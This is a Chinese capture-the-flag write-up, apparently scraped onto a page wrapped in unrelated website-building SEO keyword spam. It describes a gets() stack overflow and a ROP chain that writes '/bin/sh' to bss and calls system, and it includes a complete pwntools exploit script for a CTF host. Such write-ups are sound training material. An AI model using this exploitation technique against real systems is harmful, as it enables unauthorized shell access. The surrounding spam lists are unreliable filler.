当前位置: 首页 > news >正文

企业网站建设方案投标书手机营销网站建设

企业网站建设方案投标书,手机营销网站建设,生鲜网站怎么做,义乌外贸网站制作ida 反编译看 main 函数 gets 存在栈溢出 偏移 488 56 自带后门函数 但是没有 /bin/sh 存在可写段,我们可以利用 gets 写入 /bin/sh payload: 先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr 然后再存…

ida 反编译看 main 函数

gets 存在栈溢出

偏移 48+8 = 56

自带后门函数

但是没有 /bin/sh

存在可写段,我们可以利用 gets 写入 /bin/sh

payload:

先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr

然后再存入被改写内容的地址,作为参数,调用 system 函数即可  

payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)

编写 exp:

我们在调用 gets 函数之后并不需要返回到原来的函数中

在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整

因此用不到 ret

# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

可以打通 

 

 

http://www.dtcms.com/a/551482.html

相关文章:

  • 东营市城乡建设信息网搜索引擎环境优化
  • 微信网站主题毕设电商网站设计
  • 大型购物网站建设广告设计接单
  • 泉州建站费用oneup wordpress
  • 网站建设的可用性设计欣赏网
  • 站长工具短链接生成建设购物网站
  • 自己做书画交易网站seo网站介绍
  • dw用设计视图做网站湖北网站建设论文题目要求
  • 国家住房和城乡建设部官方网站大多数网站开发现状
  • 做的网站访问速度慢做设计的软件
  • 企业网站标题如何设置南沙企业网站建设
  • 自己想开个网站怎么弄灰色风格的网站
  • Openvins学习---ov_msckf中的State
  • 微盟网站模板网站一般在哪里找
  • 西安做网站电话网店托管代运营公司
  • 网站制作模板教案wordpress 页面标签
  • 网站设计素材图片医疗类网站建设
  • 一键建设网站无线网被附近多个
  • 网站建设配置文件无法粘贴网页设计与制作思政教学设计
  • 网页和网站做哪个好用中国做本地服务好的网站
  • 58网站模板所有外包网站
  • 淘宝购物返利网站建设app长沙关键词优化推荐
  • 网站开发系统流程图wordpress php代码
  • 免费网站商城建设wordpress 转换app
  • 高端营销型网站建设如何用flash做网站
  • 到哪个网站做任务简单安卓app开发
  • 域名怎么做网站郑州服装设计公司
  • 建设网站的风险管理网站推广的目标是什么
  • fqapps com网站怎么做智能家居产品设计案例
  • 用asp做网站需要准备什么软件wordpress 中文网站